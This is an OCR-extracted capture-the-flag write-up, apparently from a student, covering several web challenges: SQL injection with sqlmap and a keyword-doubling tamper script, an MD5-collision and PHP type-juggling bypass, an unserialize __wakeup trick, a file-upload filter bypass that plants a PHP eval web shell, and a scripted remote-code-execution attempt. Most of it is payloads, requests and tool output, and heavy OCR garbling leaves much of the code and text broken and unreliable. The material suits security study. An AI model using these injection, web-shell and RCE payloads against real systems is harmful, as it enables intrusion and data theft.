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Score over Time
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-O- IRBRTRN

python2 sglmap.py -r ./sql.txt --db

[ ] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: Apache 2.4.51, PHP 7.4.25
back-end DBMS: MySQL >= 5.0.12

[ ] [INFO] fetching database names

available databases [2]:

[*] babysqgl

[*] information schema

[ 110 ] HTTP error codes detected during run:
502 (Bad Gateway) - 1 times

[INFO] fetched data logged to text files under '/Users/jj/.local/share/sqlmap/output/35.22

10:29:20 /2021-11-22/

python2 sqlmap.py -r ./sql.txt -D babysql --tables



ji@jjdeMacBook-Pro:/Library/MyMac/CTF[sqlmap-master

..JCTF/ B #1344 (-zsh) ® 1 ..sglmap-master (-zsh)
21501277941307468264204159202- -

there were multiple injection points, please select the one to use for following injections:
[0] place: (custom) POST, parameter: MULTIPART password, type: Single quoted string (default)
[1] place: (custom) POST, parameter: MULTIPART username, type: Single quoted string

[g] Quit

>0

[ ] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: Apache 2.4.51, PHP 7.4.25

back-end DBMS: MySQL >= 5.0.12

[ ] [INFO] fetching tables for database: 'babysql’

Database: babysqgl

[2 tables]

| users |

] [INFO] fetched data logged to text files under '/Users/jj/.local/share/sqlmap/output/35.22
9.138.83"'

[*] ending @ 10:31:02 /2021-11-22/

v 10:31:02

python2 sglmap.py -r ./sql.txt -D babysql -T flag --columns

ji@jjdeMacBook-Pro:/Library/MyMac/CTF[sqlmap-master

..JCTF/ B (-zsh) ® #1 ..sglmap-master (-zsh)

[0] place: (custom) POST, parameter: MULTIPART password, type: Single quoted string (default)
[1] place: (custom) POST, parameter: MULTIPART username, type: Single quoted string
[a] Quit
>0
[ ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.51, PHP 7.4.25
back-end DBMS: MySQL >= 5.0.12
[ ] [INFO] fetching columns for table 'flag' in database 'babysql'
Database: babysqgl
Table: flag
[2 columns]
tommmaan Fommmmm s +
| Column | Type |
Fommm - R +
| varchar(255) |
| int(11) |
+ommma-- Fommmm s +

[ [INFO] fetched data logged to text files under '/Users/jj/.local/share/sqlmap/output/35.22
9.138.83'

[*] ending @ 10:32:12 /2021-11-22/

v 10:32:12




python2 sqglmap.py -r ./sql.txt -D babysql -T flag -C ‘flag’ --dump

[ ] @ ji@jjdeMacBook-Pro:/Library/MyMac/CTF[sqlmap-master 1

..JCTF/ B #H3#4 (-zsh) ® 1 ..sglmap-master (-zsh) 382

[1] place: (custom) POST, parameter: MULTIPART username, type: Single quoted string
[q] Quit

>0

[ ] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian

web application technology: Apache 2.4.51, PHP 7.4.25

back-end DBMS: MySQL >= 5.0.12

[ ] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'babysql'
Database: babysql

Table: flag

[1 entry]

] [INFO] table 'babysql.flag' dumped to CSV file '/Users/jj/.local/share/sqlmap/output/35.22
9.138.83/dump/babysql/flag.csv'

[ ] [INFO] fetched data logged to text files under '/Users/jj/.local/share/sqlmap/output/35.22
9.138.83"'

[*] ending @ 10:33:35 /2021-11-22/

v 10:33:35

FHR R

b[0]=C&b[2]=F&b[1]=T


https://www.bbsmax.com/A/QV5ZYy86Jy/
https://blog.csdn.net/nzjdsds/article/details/90085112
https://blog.csdn.net/weixin_43376075/article/details/108833290
https://blog.csdn.net/qq_19980431/article/details/83018232
https://www.cnblogs.com/anbus/p/10000571.html

/Applications/MxSrvs/www/index.php:3:
array (size=3)

@ => string 'C' (length=1)

1 => string 'T' (length=1)

2 => string 'F' (length=1)

(IICII’ !ITII' IIFII);
(sa);

‘9 =>1C",
2=>'F',

/Applications/MxSrvs/www/index.php:15: i

array (size=3)
@ => string 'C' (length=1)
2 => string 'F' (length=1)
1 => string 'T' (length=1)

1k

/Applications/MxSrvs/www/index.php:16:boolean true
b']);
/Applications/MxSrvs/www/index.php:17:boolean true [ ])['b'])-
['b']);
['b'] and
('No');

/Applications/MxSrvs/www/index.php:23:string 'yes'

('yes');

BEEARESRT

HRRHFEBARE
$num2 = ‘9e9’;

/Applications/MxSrvs/www/index.php:28:boolean true

/Applications/MxSrvs/www/index.php:29:boolean true

O OzZEs DaEse OBl NRE () #tREs

Q #FR HTML
<html>
head head:
w <body>
» <pre class="xdebug-var—-dump" dir="1tr">(- </pre> r = 999999999;
b <pre class="xdebug-var-dump" dir="1tr">(-</pre>
</body>
</html>

FREB G

md5a=%4d%c9 %68 %ff%0e %e3%5¢%20%95%7 2%d4 %77 %7b %7 2%15%87 %d3%6f%a7 %b2%1b%dc%56 %b7 %4a%3d%c0%78%3e%7b %95
%18%af%bf%a2%00%a8 %28 %4b %f3%6e %8e %4b %55 %b3 %5f%42 %75 %93 %d8 %49%6 7 %6d%a0%d 1 %55 %5d %8 3 %60 %fb %5f%07 Y%fe %a2
&md5b=%4d%c9%68%ff%0e %e3%5¢%20%95%72%d4 %77 %7b%72%15%87 %d3%6f%a7 %b2%1b%dc%56 %b7 %4a%3d%c0%78%3e % 7b %9
5%18%af%bf%a2%02%a8 %28 %4b %f3%6e %8e %4b %55 %b 3 %5f%4 2 %7 5%93%d8 %49 %67 %6d%a0 %d 1%d5%5d %83 %60 %fb %5f%07 Y%fe %a
2



/Applications/MxSrvs/www/index.php:51:string
/Applications/MxSrvs/www/index.php:52:string
/Applications/MxSrvs/www/index.php:53:string
/Applications/MxSrvs/www/index.php:54:string

/Applications/MxSrvs/www/index.php:55:boolean fa'lsq

no No no
> O =z=ss® e O BdE N RE () #imEes
& Load URL http://127.0.0.1:82/
& split URL
@ Execute
Post data [] Referer [] User Agent [}
md5a=314282422&md5b=314282422
.
[ XN J

Burp Project UiX2: B|AREE EO #B)

( (

Dumps information about a variable

['md5a'1));

var_dump( mixed $expression [, mixed $... 1): string
['md5a']== ['md5b*]);
['md5a'1));
['md5b*'1));

['md5a'l) ['md5b'1)));

['md5a']) || ['md5b'1) ||

('yes');

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang
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Send BH
iER

Raw | B8 | X | Hex

< |v > |v

Bif: hup://35.229.138.83:16219 ¢ (2)

Hex | Render

POST /?num2=9e9 HTTP/1.1 A
Host: 35.229.138.83:16219 r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101
Firefox/94.0
Accept:
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,*/*;q=0.
8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 416
Origin: http://35.229.138.83:16219
Connection: close
Referer: http://35.229.138.83:16219/?num2=9e9
Upgrade-Insecure-Requests: 1
b[0]=C&b [2]=F&b [1]=T&md5a=%4d%c9%68%f f%0e%e3%5C%20%95%72%d4%77%7b%72%15%87%d3%6 f%a7%b
2%1b%d c%56%b7%4a%3d%C0%78%3e%7b%95%18%a f%b f%a2%00%a8%28%4b%f 3%6 e%8e%4b%55%b3%5 f%42%7
5%93%d8%49%67%6d%a0%d 1%55%5d%83%6 0% f b%5 f%07%fe%sa2&md5b=%4d%c9%6 8% f f%0e%e3%5c%20%95%7
2%d4%77%7b%7 2%15%87%d 3%6 T%a7%h 2%1b%d c%56%b 7%4a%3d%c0%7 8%3e%7 b%95%18%a f%b f%a2%02%a8%2
8%4b%f3%6e%8e%4b%55%b3%5 %42%75%93%d8%49%6 7%6 d%a0%d 1%d5%5d%83%6 0% b%s5 f%07%fe%a2
-
v
@ < + > BNEFFI pegclie. 3

[ 12 1] baby-upload
&5

#0000BB">$_GET</span><span style="color: #007700">[</span><span style="color
#DD000O">"'num2'</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span
style="color: #0000BB">$numl&nbsp;</span><span style="color:
#007700">&amp ; &amp ; &nbsp;</span><span styl color: #0@000BB">strlen</span><span
style="color: #007700">(</span><span styl color: #0000BB">$_GET</span><span
style="color: #007700">[</span><span style="color: #DD0000">'num2'</span><span
style="color: #007700">])&nbsp;&Lt;&nbsp;</span><span style="color:
#0000BB">4</span><span style="color: #007700">))&nbsp;{<br
/>&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color:
#DD000O">"Scientific&nbsp;notation!!!"</span><span style="color: #007700">);<br
/>}<br />if&nbsp; (empty(</span><span styl color: #0000BB">$_POST</span><span
style="color: #007700">[</span><span styl color: #DD@0QO">'md5a'</span><span
style="color: #007700">])||empty(</span><span style="color:
#0000BB">$_P0ST</span><span style="color: #007700">[</span><span style="color:
#DD000O">"'md5b ' </span><span style="color: #007700">])||</span><span styl
#0000BB">is_array</span><span style="color: #007700">(</span><span styl
#0000BB">$_P0ST</span><span style="color: #007700">[</span><span style:
#DD0000">"'md5a' </span><span style="color: #007700">])||</span><span styl
#0000BB">is_array</span><span style="color: #007700">(</span><span style
#0000BB">$_P0ST</span><span style="color: #007700">[</span><span style="color: (\
#DD000O">"'md5b ' </span><span color: #007700">]1)||(</span><span style="color
#0000BB">$_P0ST</span><span "color: #007700">[</span><span style="color
#DD000O">"'md5a"' </span><span "color: #007700">]==</span><span styl
#0000BB">$_P0ST</span><span "color: #007700">[</span><span style:
#DD000O">"'md5b ' </span><span "color: #007700">])||!(</span><span style;
#0000BB">md5</span><span style="color: #007700">(</span><span style="color:
#0000BB">$_P0ST</span><span style="color: #007700">[</span><span style="color
#DD000O">"'md5a'</span><span style="color: #007700">])&nbsp;===&nbsp;</span><span
style="color: #0000BB">md5</span><span style="color: #007700">(</span><span
"color: #0000BB">$_P0ST</span><span style="color: #007700">[</span><span
style="color: #DD0@000">'md5b'</span><span style="color: #007700">])))&nbsp;{<br
/>&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color:
#DD000O">"no&nbsp;no&nbsp;no"</span><span style="color: #007700">);<br />}<br
/>echo&nbsp;</span><span style="color: #0000BB">$flag</span><span style="color:
#007700">;<br /></span>

T

<

</span>

</code>ctf{Good_Luck_Have_Fun!} v,
v

@ [<)[+][>) [wrEz=a R

4,875%F T | 258R



e e
« == 0035.229.138.83
O %#: /flag

fflag
1 flag{fcc9fbd1d19b3de78b7346bbb@@5d0d5}

[ 2& (1] baby-unserialize
%1t wake_up

wake_UpTEiE R I, {HARKIES RTER)E BT T
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Burp Project UiX3s E|AREE BO B

wEm | B | fm | wis | BAE | w5 | a0 b ndexahp
SEEREEENRSIERE, EENEONSRFEE. EE  TREAER

N
b
>
x

index.php X
Lﬂj L L;J > 17 Applications > MxSrvs > www > @ index.php

iER public $fi = "index.php";

Raw | B8 | X | Hex

POST / HTTP/1.1

Host: 35.229.138.83:16219

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S
Firefox/94.0

Accept:
text/html,application/xhtml+xml,application/xml;g:
8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 51

Origin: http://35.229.138.83:13903

Connection: close

Referer: http://35.229.138.83:13903/
Upgrade-Insecure-Requests: 1 .
Sec-Fetch-Dest: document "HN_wakeup'.'</br>";
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

public function

str=0:4:"baby":2:{s:8:"filename";S:8:"\661ag.php"

0ST['str'l)) {
['str'l;
(
('7F7Eflag');

=R SEEX ®0 ) 17 2 (Bi%#%220)

[22 (1] easy-sql
¥ & tamper

def tamper(payload, “*kwargs
payload= payload.lower
payload= payload.replace('union’ , ‘'uniunionon’
payload= payload.replace('select' , 'selselectect’
payload= payload.replace('where' , 'whewherere '
payload= payload.replace(‘or' , ‘oorr’
payload= payload.replace('ro' , 'rroo’
payload= payload.replace('flag" , 'flflagag’
payload= payload.replace("" , "
# payload= payload.replace('from’, 'frfromom’)
# payload= payload.replace('information’, 'infoorrmation’)
# payload= payload.replace(‘and’, 'anandd’)
# payload= payload.replace('by’, ‘bbyy’)
retVal=payload
return retVal

payload =" union select 1,2,(select flag from easysql.flag) #'

res = tamper(payload
print(res

FEHEA
REEN LR A

RIRE M35 A4 4T



o BIFBREEN BEETH

admin" uniunionon selselectect 1,2,3 #

o BEHIEE

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(schema_name) frroom infoorrmation_schema.schemata) #

r o a q A A
@ @® Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

Burp Project UiX3F B|AR2E BO B

e [ B [ 4 [ wds | E5xs | ers | sos | sus [Eere | s | Aesm |

1 x [2ax
(‘send | | m >\ Bi#: hutp://35.229.138.83:18304 7 (2)
BER 1]
Raw | B | X | Hex Raw | sk | Hex | Render
POST /index.php HTTP/1.1 A HTTP/1.1 200 0K A
Host: 35.229.138.83:16219 - Date: Tue, 23 Nov 2021 09:37:24 GMT -
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101 Server: Apache/2.4.51 (Debian
Firefox/94.0 X-Powered-By: PHP/7.4.25
Accept: Vary: Accept-Encoding
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0. Content-Length: 338
8 Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; 2<br>information_schema,easysql<br>
boundary 122636195142921244391933772727 <hl>Hack admin password & Get flag</hl>
Content-Length: 530 <form enctype="multipart/form-data" method="post">
Origin: http://35.229.138.83:18304 <label>username</label><input type="text" name="username" />
Connection: close <label>password</label><input typ password" name="password">
Referer: http://35.229.138.83:18304/ <input class="button" type="submit" name="submit" value="ZZR" />
Upgrade-Insecure-Requests: 1 </form>
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
122636195142921244391933772727
Content-Disposition: form-data; name="username"
admin
122636195142921244391933772727
Content-Disposition: form-data; name="password"
admin" uniunionon selselectect 1,2, (selselectect grrooup_concat(schema_name) frroom
infoorrmation_schema.schemata) #
122636195142921244391933772727
Content-Disposition: form-data; name="submit"
BF
122636195142921244391933772727—-
- -
v v
@ WAIEFFE RALE @ BAEFE T RALE
o 5557 | 259%W

5T

o BERLT

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(table_name) frroom infoorrmation_schema.tables whewherere

table_schema="easysql”) #



-
[ N J
Burp Project fUif#% B|A3E EO #EH

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

s | B [ am e | Exe | eve | see [ [Eerr [ geen | Been |

Bif: http://35.229.138.83:18304 ¢ (7)

) &2

Hex | Render

Raw

1 x [2ax
BUH >|v
R
Raw | B | X | Hex
POST /index.php HTTP/1.1 A
Host: 35.229.138.83:16219 -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101
Firefox/94.0
Accept:
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,x*/*;q=0.
8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary 122636195142921244391933772727
Content-Length: 562
Origin: http://35.229.138.83:18304
Connection: close
Referer: http://35.229.138.83:18304/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
122636195142921244391933772727
Content-Disposition: form-data; name="username"
admin
122636195142921244391933772727
Content-Disposition: form-data; name="password"
admin" uniunionon selselectect 1,2, (selselectect grrooup_concat(table_name) frroom
infoorrmation_schema.tables whewherere table_schema="easysql") #
122636195142921244391933772727
Content-Disposition: form-data; name="submit"
B
122636195142921244391933772727——
.
v
@ BABEFE pezclie. 3
=

T

o KFH

HTTP/1.1 200 0K

Date: Tue, 23 Nov 2021 09:39:31 GMT
Server: Apache/2.4.51 (Debian)
X-Powered-By: PHP/7.4.25

Vary: Accept-Encoding

Content-Length: 322

Connection: close

Content-Type: text/html; charset=UTF-8

2<br>flag,users<br>

<h1>Hack admin password & Get flag</hl>

<form enctype="multipart/form-data" method="post">
<label>username</label><input type="text" name="username" />
<label>password</label><input type="password" name="password">
<input class="button" type="submit" name="submit" value="&ZR" />

</form>

T

=
T

BAEEFE

pezclie. 3

539F | 275%R

admin" uniunionon selselectect 1,2,(selselectect grrooup_concat(column_name) frroom infoorrmation_schema.columns whewherere

table_schema="easysql” and table_name="flflagag”) #
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s | B [ am e | Exe | eve | see [ [Eerr [ geen | Been |

Bif: http://35.229.138.83:18304 ¢ (7)

) &2

Hex | Render

Raw

1 x [2ax
BUH >|v
R
Raw | B | X | Hex

POST /index.php HTTP/1.1 A
Host: 35.229.138.83:16219 -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101
Firefox/94.0
Accept:
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,x*/*;q=0.
8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary 122636195142921244391933772727
Content-Length: 590
Origin: http://35.229.138.83:18304
Connection: close
Referer: http://35.229.138.83:18304/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

122636195142921244391933772727
Content-Disposition: form-data; name="username"
admin

122636195142921244391933772727
Content-Disposition: form-data; name="password"
admin" uniunionon selselectect 1,2, (selselectect grrooup_concat(column_name) frroom
infoorrmation_schema.columns whewherere table_schema="easysql" and
table_name="flflagag") #

122636195142921244391933772727
Content-Disposition: form-data; name="submit"
BR

122636195142921244391933772727—-

.
v

@ BABEFE pezclie. 3
=

T

o fRHiflag

HTTP/1.1 200 0K

Date: Tue, 23 Nov 2021 09:40:58 GMT
Server: Apache/2.4.51 (Debian)
X-Powered-By: PHP/7.4.25

Vary: Accept-Encoding

Content-Length: 319

Connection: close

Content-Type: text/html; charset=UTF-8

2<br>id, flag<br>

<h1>Hack admin password & Get flag</hl>

<form enctype="multipart/form-data" method="post">
<label>username</label><input type="text" name="username" />
<label>password</label><input type="password" name="password">
<input class="button" type="submit" name="submit" value="&ZR" />

</form>

T

=
T

BAEEFE

admin" uniunionon selselectect 1,2,(selselectect flflagag frroom easysql.flflagag) #

pezclie. 3

536FT | 314%R
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Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

e | B [ am e | Eae | eve | ses [ ws [Eerr [ gesn | Been |

B#f: http://35.229.138.83:18304 ¢ (7)

MRz

Raw Hex | Render

1 x |2 x
BH >|v
R
Raw | B | X | Hex
POST /index.php HTTP/1.1 A
Host: 35.229.138.83:16219 -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101
Firefox/94.0
Accept:
text/html,application/xhtml+xml,application/xm1;q=0.9, image/avif, image/webp,x*/*;q=0.
8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary 122636195142921244391933772727
Content-Length: 498
Origin: http://35.229.138.83:18304
Connection: close
Referer: http://35.229.138.83:18304/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
122636195142921244391933772727
Content-Disposition: form-data; name="username"
admin
122636195142921244391933772727
Content-Disposition: form-data; name="password"
admin" uniunionon selselectect 1,2, (selselectect flflagag frroom easysql.flflagag)
122636195142921244391933772727
Content-Disposition: form-data; name="submit"
BF
122636195142921244391933772727—
-
v
@ BAEFF pezclie. 3
=
5o

[2K 1] easy js
S B2+ 7K 33k 1 ) JSYR 5

#res = bytes(b'123abc\xe5\xab\xbd').decode('utf-8')
# print(res)

with open('/Library/MyMac/CTF/pyiZ/test.js', 'r') as f:

s =fread() # BEEPELRERHRR, WE K EEENIRE
g=""
# XN ELE S RS S

res = bytes(s, encoding = "utf8").decode('utf-8")
print(res)

I3 52 JSYR A

HTTP/1.1 200 0K

Date: Tue, 23 Nov 2021 09:45:46 GMT
Server: Apache/2.4.51 (Debian)
X-Powered-By: PHP/7.4.25

Vary: Accept-Encoding

Content-Length: 350

Connection: close

Content-Type: text/html; charset=UTF-8

2<br>flag{d7edeb1366bd99aal2d109c99267e37e}<br>

<h1>Hack admin password & Get flag</hl>

<form enctype="multipart/form-data" method="post">
<label>username</label><input type="text" name="username" />
<label>password</label><input type: assword" name="password">
<input class="button" type="submit" name="submit" value="&ZR" />

</form>

T

==
T

BAEEFE

pezclie. 3

567F7 | 264%R



Y > iviyiviae > CTF > pyma 4s > JS test.js > ...
var Hl ‘H

function draw() { one = '<div class="iten">':
two '<p id="clickNumber">Click number: @</p>7;
three '<p id="flag">flag will appear when you click Yyyyyyyy times !</p>';
four '</div><div class="item"><img src='"jiidx.gif" onclick="clickkkkk(); '></div>";

window["document"]['getElementByIA i (*"bo") ['innerH ML'] = one + two + thr2e + four }
draw();

function clickkkkk() { var 1; var
window [ “document ] ['getElementById 1 ("ﬂag") 3
gl) }

function g() { var fCdaXby5 = 1; var fCdaXby5s;
window["document"] ['getElementById'] ("click");
c() }

function ¢() { H1 1;
window["document"] ['getElementById'] ("clickNumber")['innerHTML'] = "Click number: " + H1; if (H1 99999999) {|var boF7
boF7['onreadystatechange'l function() { if (boF7['readyState'l 4 boF7['status™] 2zo0) { text = por/['responseTe
window["document"] ['getElementById'](*flag') ['innerHTML'] = text;
console['log'] (text) } }
boF7['open']("GET", jQs8, true);
boF7['send'1() } else { window["document"]['getElementById']('flag')['innerHTML"'] = "flag will appear when you click 9999

function clickEffect() { let balls = []; let longPressed = false; let longPress; let multiplier = @; let width, height; let origi
window["document"] ['body'] ['appendChild'](canvas);
canvas|['setAttribute']("style", "width: 100%; height: 100%; top: @; left: @; z-index: 99999; position: fixed; pointer-events:
pointer['classList']['add']("pointer")
window["document”] [*body'] ['appendChild'](pointer); if (canvas['getContext'] window['addEventListener']) { ctx = canvas['g
updateSize();

BEH s8N
Fwindow.H1 = 99999998
FEHR—T kB Efag
i BER K E > 99999999
BNE T 99999999 7 & fil K
[2& (1] easy-upload
ik &% T
ZMEEHCEENREE KI SsqliE B —H —#



<?php
/) REEE

$blacklist = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "htaccess", "ini");
$file_name = trim($_FILES['upload_file']['name'], " \\n\r\O\XOB."); // 4 £ X f£4 B L

echo '3Cf4&: '.$file_name.'</br>";

// strrchr($file_name, ".") 1.php =>.php 2.php.php2 => .php2

// substr(strrchr($file_name, "."), 1); 2.php.php2 => php2

$file_ext = substr(strrchr($file_name, '."), 1); / HFREEEF
echo '"XCHFJE4: '.$file_ext.'</br>';

$file_ext = strtolower($file_ext); / £ a5 # AP 5

$file_ext = trim($file_ext, "\\n\n\O\x0B."); / £B/F&HE L LHFFE
$file_ext = str_ireplace($blacklist, ™, $file_ext); // replace X 1%
echo WG XA E4: '.$file_ext.'</br>";

$temp_file =$ FILES['upload_file'|['tmp_name'];
$img_path ="uploads" . '/' . md5(time()) . "." . $file_ext;
echo 'L 42: '.$img_path.'</br>";

echo '<form enctype="multipart/form-data" method="post"><input class="input_file"

="submit" name="submit" value="_Lf£&" /></form>";

EA—RIE K& 3RT]

r
[ NoN J
Burp Project MUiXaF Z|ARZE &EO #HB)

type="file" name="upload_file" /><input class="button" type

Burp Suite Professional v2.1.06 - Temporary Project - licensed to surferxyz By:LianZhang

e | B | oo e | Exe | ees | ses s [ Eere | sesn | Brwn |

R <lv | (>l Bif: htp://35.220.138.83:17444 2 (2)
BR o]
Ichcanr a3 [ e [ reneer
POST / HTTP/1.1 A #007700">,&nbsp;</span><span style="color: #DD@00O">""</span><span style="color: A
Host: 35.229.138.83:16219 - #007700">,8&nbsp;</span><span style="color: #0000BB">$file_ext</span><span -
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:94.0) Gecko/20100101 style="color: #007700">);<br /><br
Firefox/94.0 />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color:
Accept: #0000BB">$temp_file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0. style="color: #0000BB">$_FILES</span><span style='"color: #007700">[</span><span
8 style="color: #DD0000">'upload_file'</span><span style="color:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 #007700">][</span><span style="color: #DD00@@">'tmp_name'</span><span style="color:
Accept-Encoding: gzip, deflate #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span
Content-Type: multipart/form-data; style="color: #0000BB">$img_path&nbsp;</span><span style="color:
boundary=: 359202912338938772502275958086 #007700">=&nbsp;</span><span style="color: #DD0000">"uploads"&nbsp;</span><span
Content-Length: 375 style="color: #007700">.&nbsp;</span><span style="color:
Origin: http://35.229.138.83:17444 #DD000O">"'/"'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span
Connection: close styl color: #0000BB">md5</span><span style="color: #007700">(</span><span
Referer: http://35.229.138.83:17444/ style="color: #0000BB">time</span><span style="color:
Upgrade-Insecure-Requests: 1 #007700">() )&nbsp; .&nbsp;</span><span style="color: #DD0000">"."&nbsp;</span><span
Sec-Fetch-Dest: document style="color: #007700">.&nbsp;</span><span style="color:
Sec-Fetch-Mode: navigate #0000BB">$file_ext</span><span style="color: #007700">;<br
Sec-Fetch-Site: none I />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if&nbsp; (</span><span
Sec-Fetch-User: ?1 style="color: #0000BB">move_uploaded_file</span><span style="color:
#007700">(</span><span style="color: #0000BB">$temp_file</span><span style="color:
359202912338938772502275958086 #007700">,&nbsp;</span><span style="color: #0000BB">$img_path</span><span
Content-Disposition: form-data; name="upload_file"; filename="hello.pphphp" style="color: #0@07700">))&nbsp;{<br
Content-Type: text/php />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;
</span><span style="color: #@000BB">$img_path</span><span style="color:
<?php eval(@$_POST['a'l); 7> #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br
359202912338938772502275958086 />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span style="color:
Content-Disposition: form-data; name="submit" #0000BB">?&gt;<br /></span><br
/>&1t; form&nbsp;enctype="multipart/form-data"&nbsp;method="post"&gt;<br
L& />&nbsp;&nbsp;&nbsp;&nbsp;&Lt;inputé&nbsp;class="input_file"&nbsp;type="file"&nbsp;na
359202912338938772502275958086—— me="upload_file"&nbsp;/&gt;<br
/>&nbsp;&nbsp;&nbsp;&nbsp;&Lt; input&nbsp;class="button"&nbsp;type="submit"&nbsp;name
="submit"&nbsp;value="_Lf%"&nbsp;/&gt;<br />&Lt;/form&gt;</span>
</code>uploads/ecd822044b4ae3chf831964f5cb2921a.php
<form enctype="multipart/form-data" method="post">
<input class="input_file" type="file" name="upload_file" />
<input class="button" type="submit" name="submit" value="_Ef&" />
ot </form>
v v
NIRRT RALEE @ BANEFF RALEE
SeR 7,122 | 2308
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« B £035.229.138.83
O 448: /flag

/flag
1 flag{blab8564a34adef4aaf542bfed45652c}
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http://www.oriole.fun/index.php/archives/5/
https://cloud.tencent.com/developer/article/1760288
https://www.cnblogs.com/BOHB-yunying/p/11616311.html
https://github.red/bytectf-web1-boring_code-writeup/

index.php
] index.php ®
Applications > MxSrvs > www > index.php
= $_POST['shell'];

'{EZIshell: '.$shell.'</br>";
P = (

'IFMireplacefgh: '.

(
if (

(
die('FESRBFH');

EXZElshell: '.¢

i ] B Blpython ++v M W ~ X

response.begin()

File "/Library/Frameworks/Python. framework/Versions/3.9/1ib/python3.9/http/client.py", line 319, in begin
version, status, reason = self._read_status()

File "/Library/Frameworks/Python. framework/Versions/3.9/1ib/python3.9/http/client.py", line 280, in _read_status
line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")

File "/Library/Frameworks/Python. framework/Versions/3.9/1ib/python3.9/socket.py", line 704, in readinto
return self._sock.recv_into(b)

KeyboardInterrupt

Sa(CINTEN 00:59:56

Python ®0A 177, St&:4 UTF-8 LF PHP &' (2
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import requests
from tgdm import tqgdm
import time

# shell=var_dump(scandir(chr(ord(chr(time())))));
def log(location, text
with open(location, "a+", encoding='utf-8') as f
f.write(text

path = '/Library/MyMac/CTF/pyfiz/
url = 'http://35.229.138.83:12807/'
d = {"shell': 'show_source(end(scandir(chr(ord(chr(time()))))));'

# fr kT[]
#t = int(time.time()) % 256
# print(t)

lengthList =
for xin tgdm(range (1000
t = int(time.time()) % 256
print(t
r = requests.post(url, data=d
if len(r.text) not in lengthList
lengthList.append(len(r.text
if 'flag" in r.text
print(‘flag i 3
log(path + 'getFileContent2.txt', str(len(r.text)) + "\n'
log(path + 'getFileContent2.txt', str(r.text) + "\n'
log(path + 'getFileContent2.txt', "\n'
